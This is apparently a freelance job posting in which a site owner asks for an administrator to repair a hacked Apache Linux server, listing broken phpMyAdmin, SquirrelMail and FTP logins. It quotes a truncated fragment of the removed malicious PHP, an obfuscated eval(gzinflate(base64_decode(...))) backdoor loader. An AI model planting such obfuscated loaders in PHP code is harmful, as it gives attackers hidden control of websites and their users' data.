REPAIR MY LINUX SERVER / REMOVE MALWARE (Network Security/Server admins only)

Project Description:
BIDDER MUST BE ABLE TO START RIGHT NOW (WITHIN THIS HOUR). YOU MUST BE A SERVER ADMINISTRATOR/ NETWORK SECURITY ADMIN.

YOU'RE TO REPAIR A LINUX SERVER RUNNING ON APACHE. HOSTING IS UNDER GODADDY. NO CPANEL.

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I cant access phpmyadmin
- I have already changed passwords, logged in as different users - still cant login - The error shows: #1045 Cannot login. However, I can connect thru mysql via ssh. So there is no question that my username/password is incorrect. It only works when i use --skip-grant-tables.

I cant access squirrelmail
- I have been using the same credentials for years, but cant login to my email systems - It displays a blank page. However, i can retrieve and send emails via thunderbird. So there is no question that my username/password is incorrect.

Im having trobules accessing my ftp
- Sometimes, i cant login in FTP. Mostly at night.

My websites have been hacked a few days ago
- I have removed malicious php codes, but I don't know if the hacker left a backdoor. The code looks like this:
<?php eval(gzinflate(base64_decode('7L0HYBxJliUmL23Ke39K9UrX4HShCIBgEyTYkEAQ7MGIzeaS7B1pRyMpqyqBymVWZV1mFkDM7Z28995777333nvvvfe6O51OJ/ff/z9cZmQBbPbOStrJniGAqsgfP358Hz8i8rqu6t+/zldV3Rb


So there you have it - I don't know if these problems have risen because my website has malware a few days ago. I have recently updated vsftpd, httpd (apache) phpmyadmin and mysql but no luck.